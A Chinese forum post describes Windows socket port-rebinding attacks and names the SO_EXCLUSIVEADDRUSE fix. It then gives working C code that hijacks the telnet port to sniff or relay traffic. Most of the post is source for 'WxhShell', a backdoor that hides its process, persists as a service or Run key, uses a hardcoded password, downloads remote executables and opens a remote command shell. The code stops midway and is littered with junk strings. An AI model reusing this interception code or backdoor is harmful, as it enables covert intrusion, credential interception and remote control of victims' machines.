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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8g -u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uH\EV`@'  
qc(e3x  
  saddr.sin_family = AF_INET; U$2Em0HO}  
z</C)ObL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kn:hxdZ  
 ?s,oH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .>W [  
GvtK=A$b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "G%S m")  
>lIzeEW#  
  这意味着什么?意味着可以进行如下的攻击: /Xi21W/  
.]E(P   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `,4yGgD!4  
<lzC|>BG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h; q&B9  
82FEl~,^E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vyS>3(NZ  
@vq)Y2)r\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r(S h  
eFsl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gq?O}gVD  
)VQ[}iT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UXji$|ET6  
DOu^   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GyL9}  
oI#TjF  
  #include +788aK,{#  
  #include 7=G6ao7  
  #include y)KIz  
  #include    ,q%X`F rc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L4^/O29  
  int main() i\lvxbp  
  { ~ 6=6YP  
  WORD wVersionRequested; 8(j]=n6 r  
  DWORD ret; :.=:N%3[  
  WSADATA wsaData; y9mV6.r  
  BOOL val; @~vg=(ic(  
  SOCKADDR_IN saddr; R:n|1]*f3X  
  SOCKADDR_IN scaddr; ([<{RjPb  
  int err; W?SAa7+  
  SOCKET s; &'`C#-e@  
  SOCKET sc; iZk4KX  
  int caddsize; X8v)yDtw  
  HANDLE mt; a5Vlfx  
  DWORD tid;   {;Hg1=cm  
  wVersionRequested = MAKEWORD( 2, 2 ); !Gnm<|.  
  err = WSAStartup( wVersionRequested, &wsaData ); Lea4-Gc  
  if ( err != 0 ) { l`~$cK!  
  printf("error!WSAStartup failed!\n"); t>quY$}4  
  return -1; .oM- A\!  
  } 2Bi]t%<{  
  saddr.sin_family = AF_INET; X"3p/!W.4  
   mvH}G8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y~*B%KnEQy  
tX% C5k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,eTdQI;   
  saddr.sin_port = htons(23); G[e,7jev  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8;`B3N7  
  { lI46 f  
  printf("error!socket failed!\n"); 7kD?xHpe  
  return -1; >/Z*\6|Zx#  
  } \X6q A-Ht  
  val = TRUE; uxdB}H,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E`LaO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -J!n7  
  { c|:EMYS  
  printf("error!setsockopt failed!\n"); aNM*=y`  
  return -1; y}FG5'5$13  
  } xN$V(ZX4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fFVQu\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hQ>$ "0K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B t3++ Mj  
JK,^:tgm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~i?Jg/qcxN  
  { f4\F:YT  
  ret=GetLastError(); Q(x=;wf5r  
  printf("error!bind failed!\n"); ;~ Xjk  
  return -1; mx1Bk9h%Xe  
  } Q,9KLi3  
  listen(s,2); b i-Am/9  
  while(1) k~;~i)Eg  
  { Tq* <J~-  
  caddsize = sizeof(scaddr); D]d! lMK/  
  //接受连接请求 OWz{WV.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R4)l4rnO  
  if(sc!=INVALID_SOCKET) 6`7`herE}  
  { _ \+0e:Ae  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?mV2|;  
  if(mt==NULL) OWfB8*4@  
  { Te!eM{_$T  
  printf("Thread Creat Failed!\n"); 9(X~  
  break; aiX4;'$x!  
  } f dJg7r*  
  } LDw.2E  
  CloseHandle(mt); zZ9Ei-Q  
  } 2N-p97"g  
  closesocket(s); 4]zn,g?&  
  WSACleanup(); 902A,*qq  
  return 0; EhD%  
  }   h`Ej>O7m  
  DWORD WINAPI ClientThread(LPVOID lpParam) =|O]X|y-lZ  
  { >yenuqIKQv  
  SOCKET ss = (SOCKET)lpParam; #mioT",bm=  
  SOCKET sc; H9_>a-> )~  
  unsigned char buf[4096]; L kafB2y  
  SOCKADDR_IN saddr; Eb5>c/(  
  long num; ?st}rJ_  
  DWORD val; %/U'Wu{*  
  DWORD ret; |]:6IuslJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q 7W7sw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V[^AV"V  
  saddr.sin_family = AF_INET; 1mh7fZgn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k,OxGG  
  saddr.sin_port = htons(23); \\Zsxya1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U1yspHiZ  
  { -hF!_);{  
  printf("error!socket failed!\n"); oQ Vm)Bn'R  
  return -1; oN83`Z  
  } Ir` l*:j$  
  val = 100; -'oxenu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hYFi"ck  
  { =JTwH>fD  
  ret = GetLastError(); .GYdC '  
  return -1; \'w.<)(GI  
  } w4^ $@GtN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^eV  K.  
  { }f{5-iwD}  
  ret = GetLastError(); s)'+,lKw  
  return -1; B'B0e`  
  } ~y 2joStx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vPZ0?r_5W  
  { 7k#>$sY+  
  printf("error!socket connect failed!\n"); ;$*tn"- ?~  
  closesocket(sc); KB\ri&bF  
  closesocket(ss); _=[pW2p  
  return -1; E^w0X,0XlE  
  } P$O@G$n  
  while(1) =L"I[  
  { e=tM=i"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z0~,cO8~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e v7A;;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Nb0T3\3W  
  num = recv(ss,buf,4096,0); RY,L'Gt O  
  if(num>0) FD8  
  send(sc,buf,num,0); PJKxh%J  
  else if(num==0) tOj5b 7'ui  
  break; :-2sKD y  
  num = recv(sc,buf,4096,0); a[=B?Bd  
  if(num>0) 5P('SFq'=  
  send(ss,buf,num,0); NP.qh1{NP  
  else if(num==0) 6!U~dt#a  
  break; E_z,%aD[  
  } ! OVi\v 'm  
  closesocket(ss); 4/x.qoj  
  closesocket(sc); rd(-2,$4  
  return 0 ; aO:A pOAO  
  } H!y-o'Z  
MqWM!v-M  
#Guwbg  
========================================================== lP(<4mdP  
grd fR`3  
下边附上一个代码,,WXhSHELL #b&=CsW`  
b3=XWzK5  
========================================================== v9D[| 4  
c)QOgXv  
#include "stdafx.h" .?F`H[^)^u  
7pH[_]1"  
#include <stdio.h> A~a7/N6s;  
#include <string.h> <Lle1=qQ  
#include <windows.h> @a]`C $ 6  
#include <winsock2.h> "+&@iL  
#include <winsvc.h> _=qk.|p/  
#include <urlmon.h> nzB!0U  
]#rmk!VT?  
#pragma comment (lib, "Ws2_32.lib") ZI!;~q  
#pragma comment (lib, "urlmon.lib") MLmk=&d  
Y=UN`vRR  
#define MAX_USER   100 // 最大客户端连接数 X=k|SayE8  
#define BUF_SOCK   200 // sock buffer X*r?@uK5  
#define KEY_BUFF   255 // 输入 buffer /5XdZu6k`h  
0NSCeq%;6q  
#define REBOOT     0   // 重启 rsK b9G  
#define SHUTDOWN   1   // 关机 lb)i0`AN+  
eA9r M:  
#define DEF_PORT   5000 // 监听端口 @^Kw\s  
i?F~]8  
#define REG_LEN     16   // 注册表键长度 mndNkK5o  
#define SVC_LEN     80   // NT服务名长度 H//,qxDc  
7ws[Rp8  
// 从dll定义API ;p( Doy)i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {RH)&k&%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fz$^CMw5K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \D! I"mr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g+k yvI7o  
Ys%d  
// wxhshell配置信息 N1]P3  
struct WSCFG { Wc/B_F?2  
  int ws_port;         // 监听端口 LC/%AbM  
  char ws_passstr[REG_LEN]; // 口令 C:}"?tri  
  int ws_autoins;       // 安装标记, 1=yes 0=no =co6.Il  
  char ws_regname[REG_LEN]; // 注册表键名 38RyUHL=  
  char ws_svcname[REG_LEN]; // 服务名 ^s/f.#'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0^MRPE|f5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OFlY"O S[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &Mh]s\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2CPh'7|l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _4t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k'd=|U;(FV  
 9\R+g5  
}; v$|cF'yyF=  
yu'@gg(  
// default Wxhshell configuration O/f+B}W  
struct WSCFG wscfg={DEF_PORT, Ar$ Am  
    "xuhuanlingzhe", OxVe}Fym  
    1, >uz3 O?z P  
    "Wxhshell", 9C1\?)"D^e  
    "Wxhshell", l9$"zEC  
            "WxhShell Service", !2g*=oY  
    "Wrsky Windows CmdShell Service", Y{dj~}mM+  
    "Please Input Your Password: ", #Ic-?2Gn4<  
  1, ~w$ ^`e!]  
  "http://www.wrsky.com/wxhshell.exe", U#n1N7P|$F  
  "Wxhshell.exe" ;[j)g,7{  
    }; ]A:G>K  
AhSN'gWpbF  
// 消息定义模块 &;%LTF@I,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E"Y[k8-:2/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =&?BPhJE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zO)3MC7l*  
char *msg_ws_ext="\n\rExit."; )L7h:%h#  
char *msg_ws_end="\n\rQuit."; bX&=*L+ h6  
char *msg_ws_boot="\n\rReboot..."; jL#`CD  
char *msg_ws_poff="\n\rShutdown..."; NB)22 %  
char *msg_ws_down="\n\rSave to "; yUFT9bD  
(yhnv Z  
char *msg_ws_err="\n\rErr!"; Mvlqx J$  
char *msg_ws_ok="\n\rOK!"; `CEHl &w  
$+[ v17lF  
char ExeFile[MAX_PATH]; 6t`cY  
int nUser = 0; )ocr.wU@  
HANDLE handles[MAX_USER]; _2S( *  
int OsIsNt; ;XGO@*V5T  
lyyR yFfQ  
SERVICE_STATUS       serviceStatus; |`ZW(} ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 10e~Yc  
Wr\A ->+  
// 函数声明  i(n BXV{  
int Install(void); &\M<>>IB  
int Uninstall(void); Zm/I&  
int DownloadFile(char *sURL, SOCKET wsh); Gmh6|Dsg  
int Boot(int flag); .OSFLY#[?  
void HideProc(void); IX 2 dic'  
int GetOsVer(void); &^^V*O  
int Wxhshell(SOCKET wsl); O/PO?>@-/  
void TalkWithClient(void *cs); |]x>|Z?/u  
int CmdShell(SOCKET sock); </jTWc'}  
int StartFromService(void); qgw)SuwW  
int StartWxhshell(LPSTR lpCmdLine); >Y"Ru#Ju9  
Dt*/tVF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >du|DZq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @  M  
o0F&,|'  
// 数据结构和表定义 5TS&NefM  
SERVICE_TABLE_ENTRY DispatchTable[] = W 33MYw  
{ '@,M 'H{  
{wscfg.ws_svcname, NTServiceMain}, Ex}hk!  
{NULL, NULL} E4N{;'  
}; Lk1e{! a  
v_e3ZA:%  
// 自我安装 AqucP@  
int Install(void) [$%O-_x  
{  F'9#dR?  
  char svExeFile[MAX_PATH]; L~>~a1p!  
  HKEY key; C{U"Nsu+1  
  strcpy(svExeFile,ExeFile); 'o]8UD(  
RD0=\!w*5  
// 如果是win9x系统,修改注册表设为自启动 8(""ui 8  
if(!OsIsNt) { <e@+w6Kp'7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QL`Hb p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q jmlwVw  
  RegCloseKey(key); xv>]e <":  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XMw*4j2E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >K-S&Y  
  RegCloseKey(key); QNm8`1  
  return 0; j )b[7%  
    } `ehcj G1nY  
  } i9j#Tu93 f  
} .h[yw$z6  
else { LF\HmKM,  
NNP ut$.  
// 如果是NT以上系统,安装为系统服务 /K\]zPq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h@yn0CU3.  
if (schSCManager!=0) .*Ylj2nM  
{ j NkobJ1  
  SC_HANDLE schService = CreateService fKOC-%w  
  ( ![j?/376  
  schSCManager, IcP\#zhEv  
  wscfg.ws_svcname, nb_$g@ 03  
  wscfg.ws_svcdisp, VQwF9Iq]`  
  SERVICE_ALL_ACCESS, b,uu dtlH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EN;s 8sC!  
  SERVICE_AUTO_START, =WM^i86  
  SERVICE_ERROR_NORMAL, ~X!Z+Vg  
  svExeFile, Wg!JQRHtT  
  NULL, ~Y/o9x0  
  NULL, 0*yD   
  NULL, b .|k j  
  NULL, 6w)a.^yx7  
  NULL :.aMhyh#*  
  ); \2!1fN  
  if (schService!=0) ;Bwg'ThT  
  { 6tF_u D  
  CloseServiceHandle(schService); m< Y  I}  
  CloseServiceHandle(schSCManager); Z]qbLxJV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5)iOG#8qJ  
  strcat(svExeFile,wscfg.ws_svcname); $* hqF1Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dbl+izF3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pq$-s7#  
  RegCloseKey(key); hU6oWm  
  return 0; iR]K!j2  
    } dpSNh1  
  } =bJ7!&  
  CloseServiceHandle(schSCManager); zy(NJ  
} x7ZaI{    
} y XT8:2M  
Ra/Pk G-7  
return 1; VDTt}J8  
} 7m:ZG  
cB=ExD.Q  
// 自我卸载 b|oT!s  
int Uninstall(void) #gsJ tT9  
{ cPy/}A  
  HKEY key; "."ow|  
|wINb~trz  
if(!OsIsNt) { qV7 9bK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *WaqNMD[%  
  RegDeleteValue(key,wscfg.ws_regname); a(uZ}yS$  
  RegCloseKey(key); 5yk#(i 7C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zd|n!3;  
  RegDeleteValue(key,wscfg.ws_regname); LR#BP}\b'  
  RegCloseKey(key); %%FzBbWAO  
  return 0;  D9h  
  } HT ."J  
} Q@KCODi  
} 55Ya(E  
else { 7zq@T]  
Kv9Z.DY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fPPC`d&Q3  
if (schSCManager!=0) [h63*&  
{ gVNoC-n)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &P7Z_&34Z  
  if (schService!=0) ,49Z/P  
  { bEm9hFvd  
  if(DeleteService(schService)!=0) { 8PR\a!"  
  CloseServiceHandle(schService); '^)}"sZ@G  
  CloseServiceHandle(schSCManager); U0Uy C  
  return 0; EKus0"|  
  } 10_#Z~aU  
  CloseServiceHandle(schService); 7-gT:  
  } s  }Ql9  
  CloseServiceHandle(schSCManager); YD;G+"n?T  
} \@[,UZ  
} BU#3fPl  
3$wK*xK  
return 1; >L ')0<!&  
} +pRNrg?k  
A `{hKS  
// 从指定url下载文件 }OY/0p-Z  
int DownloadFile(char *sURL, SOCKET wsh) X ,{ 3_  
{ ALj~e#{;z  
  HRESULT hr; RqX^$C8M  
char seps[]= "/"; F3hG8YX  
char *token; E!_3?:[S_  
char *file; #a9O3C/MP  
char myURL[MAX_PATH]; 5;+KMM:zb  
char myFILE[MAX_PATH]; _b$ yohQ  
M|NQoQ8q  
strcpy(myURL,sURL); .$@+ / @4  
  token=strtok(myURL,seps); dIfy!B"  
  while(token!=NULL) Y_K W9T_  
  { m*jTvn  
    file=token; Ol~M BQs  
  token=strtok(NULL,seps); l dqU#{  
  } pH3<QNq5  
PMUW<UI  
GetCurrentDirectory(MAX_PATH,myFILE); Z&O6<=bg!  
strcat(myFILE, "\\"); tzthc*-<  
strcat(myFILE, file); jD${ZIv  
  send(wsh,myFILE,strlen(myFILE),0); SA7(EJ95  
send(wsh,"...",3,0); Re&"Q8I.8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Q+k2J_h  
  if(hr==S_OK) L7hRFf-o  
return 0; 5vg="@O K  
else (zh[1[a  
return 1; tva=DS  
NBHpM}1xtU  
} yzv"sd[8N  
`nKN|6o#x  
// 系统电源模块 ^=5x1<a9$  
int Boot(int flag)  +IO>%  
{ Vd(n2JMtG  
  HANDLE hToken; \ 'Va(}v  
  TOKEN_PRIVILEGES tkp; #*:^\z_Jd  
$xWUzg1<U  
  if(OsIsNt) { Qe{w)e0}`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `XpQR=IOMb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BlQ X$s]  
    tkp.PrivilegeCount = 1; ^Kg n:l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fjOq@thD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T;?k]4.X  
if(flag==REBOOT) { a ydNSgu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ H&U_  
  return 0; > K?OsvX  
} [}]yJ+)  
else { rlD!%gG2x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &a;?o~%*]i  
  return 0; vENf3;o0  
} mf)+ 5On  
  } pQKSPr  
  else { =MMd&  
if(flag==REBOOT) { MM_:2 ^P)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9 @xl{S-  
  return 0; vaGF(hfTA  
} fP V n;  
else { ~7U~   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *67K_<bp]  
  return 0; 6tndC o;`  
} #,u|*O:  
} 8'HS$J;C  
10i$b<O  
return 1; OU"%,&J  
} &'x~<rx  
[d8Q AO1;)  
// win9x进程隐藏模块 RGE(#   
void HideProc(void) c#sHnpP  
{ YT Zi[/  
o]Rlivahm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qQi\/~Y[:  
  if ( hKernel != NULL ) 4] uj+J  
  { :#pdyJQ_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6oNcj_?7?q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~e 1l7H;  
    FreeLibrary(hKernel); b.@a,:"  
  } {VE h@yn  
z.!N|"4yr  
return; Pp s-,*m  
} {@^;Nw%J  
B+j]C$8}  
// 获取操作系统版本 <ZF|2  
int GetOsVer(void) r~lZ8$KC  
{ P}Kgh7)3  
  OSVERSIONINFO winfo; 7l=;I%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uI)twry]@  
  GetVersionEx(&winfo); RI0^#S_{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B-R#?Xn:!I  
  return 1; sa(.Anmlj  
  else `;E/\eG"  
  return 0; /v8Q17O?e  
} IB/3=4n^|  
*iE tXv  
// 客户端句柄模块 a+E&{p V  
int Wxhshell(SOCKET wsl) Ki2!sADd  
{ 3/@z4:p0R  
  SOCKET wsh; -f)fiQ-<  
  struct sockaddr_in client; FT@uZWgQ=  
  DWORD myID; M  9t7y  
 b.&W W  
  while(nUser<MAX_USER) rtRbr_  
{ zKO7`.*  
  int nSize=sizeof(client); "y,YC M`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xq*^6*E-}  
  if(wsh==INVALID_SOCKET) return 1; o@Oz a  
o)AwM"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]R#:Bq!F  
if(handles[nUser]==0) ~ELMLwn.  
  closesocket(wsh); qW0:q.   
else sQvRupYRO  
  nUser++; :oP LluW*  
  } :TH cI;PG8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tcuwGs>_  
U]iI8c  
  return 0; Yf w>x[#e  
} ?m |}}a  
GQqGrUQ*}  
// 关闭 socket 6lSz/V;  
void CloseIt(SOCKET wsh) G^~[|a 4`  
{ Xv8-<Ks  
closesocket(wsh); L>1hiD&  
nUser--; Y$ ys4X  
ExitThread(0); *?rWS"B  
} =|S%Rzsk  
3/kT'r  
// 客户端请求句柄 }}JMwT  
void TalkWithClient(void *cs) =?<WCR C*  
{  `Vb  
Nr~$i%[  
  SOCKET wsh=(SOCKET)cs; |h>PUt@LL  
  char pwd[SVC_LEN]; J:L+q} A  
  char cmd[KEY_BUFF]; MzJCiX^  
char chr[1]; AK2Gm-hHK  
int i,j; 6pt_cpbR  
L*(9Hti  
  while (nUser < MAX_USER) { p,Ff, FfH  
q@|+`>h  
if(wscfg.ws_passstr) { n/+X3JJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /BL:"t@-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nT6y6F _e  
  //ZeroMemory(pwd,KEY_BUFF); ~t`^|cr|  
      i=0; XA>W >|  
  while(i<SVC_LEN) { &S,D;uhF  
=ejj@c  
  // 设置超时 8M,*w6P  
  fd_set FdRead; eqo0{e  
  struct timeval TimeOut; !eLj + 0  
  FD_ZERO(&FdRead); ti\ ${C3  
  FD_SET(wsh,&FdRead); 1 em,/> "  
  TimeOut.tv_sec=8; za>UE,?h  
  TimeOut.tv_usec=0; t]yxLl\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OXEk{#Uf[3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z2% HQL2  
L"bOc'GfQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : \+xXb{  
  pwd=chr[0]; 3S0.sU~_U  
  if(chr[0]==0xd || chr[0]==0xa) { U0~_'&Fe  
  pwd=0; ?+yr7_f3*  
  break; mmAm@/  
  } _pvB$&  
  i++; lvs  XL  
    } rbw$=bX}  
)g0lI  
  // 如果是非法用户,关闭 socket h0GoF A<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m&.LJ*uM\K  
} CRb8WD6.  
:xh{SsW@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {Su?*M2y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WRh5v8Wz0  
Jh26!%<Bl  
while(1) { Q]:O#;"<  
g{8RPw]  
  ZeroMemory(cmd,KEY_BUFF); YG "Ta|@5  
L:R4&|E/t  
      // 自动支持客户端 telnet标准   ;O"?6d0  
  j=0; TR"C<&y$j  
  while(j<KEY_BUFF) { 3[YG BM(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v, $r.g;  
  cmd[j]=chr[0]; O\5%IfB'"  
  if(chr[0]==0xa || chr[0]==0xd) { /k#-OXP~  
  cmd[j]=0; g9_zkGc7  
  break; ~wvt:E,f C  
  } d+9V% T  
  j++; ]ss[n.T0*  
    } zA,vp^  
CWj_K2=d  
  // 下载文件 D tsZP (  
  if(strstr(cmd,"http://")) { I= mz^c{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M&Uy42,MR  
  if(DownloadFile(cmd,wsh)) /x<g$!`X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mxa~JAlN_  
  else ]-=L7a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<`vh*U@,4  
  } C"hN2Z!CD|  
  else { @KN+)qP  
#lYyL`B+~  
    switch(cmd[0]) { 6EqA Y`y  
  TBj2(Z  
  // 帮助 X8Z?G,[H  
  case '?': { o`U}u qrO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZlT }cA/n  
    break; pu-HEv}]a|  
  } eV;r /4  
  // 安装 th?+TNb^  
  case 'i': { {15j'Qwm  
    if(Install()) vgfC{]v<W]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^_7|b[Bt  
    else oV|O`n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -t`kb*O3`  
    break; ?w3RqF@}  
    } =%Y1] F  
  // 卸载 YagfCi ?  
  case 'r': { g}an 5a  
    if(Uninstall()) /<LZt<K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~?ab_CY  
    else /x VHd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ayz*2 N`%  
    break; LC%o coc  
    } -IPo/?}  
  // 显示 wxhshell 所在路径 <r%K i`u(p  
  case 'p': { +;N]34>S7  
    char svExeFile[MAX_PATH]; Q@D7 \<t  
    strcpy(svExeFile,"\n\r"); VtBC~?2U)B  
      strcat(svExeFile,ExeFile); 5mH [|_  
        send(wsh,svExeFile,strlen(svExeFile),0); PmR].Ohzi  
    break; inP2y?j  
    } c[dSO(=  
  // 重启 gf|uZ9{  
  case 'b': { u'YXI="(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |z-f 8$  
    if(Boot(REBOOT)) ,OE&e* 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tKbxC>w  
    else { /cjz=r1U>  
    closesocket(wsh); P/%7kD@5;  
    ExitThread(0); 6h 0qtXn-  
    } _`$Q6!Z)l  
    break; z@*E=B1L  
    } Kv_2=]H  
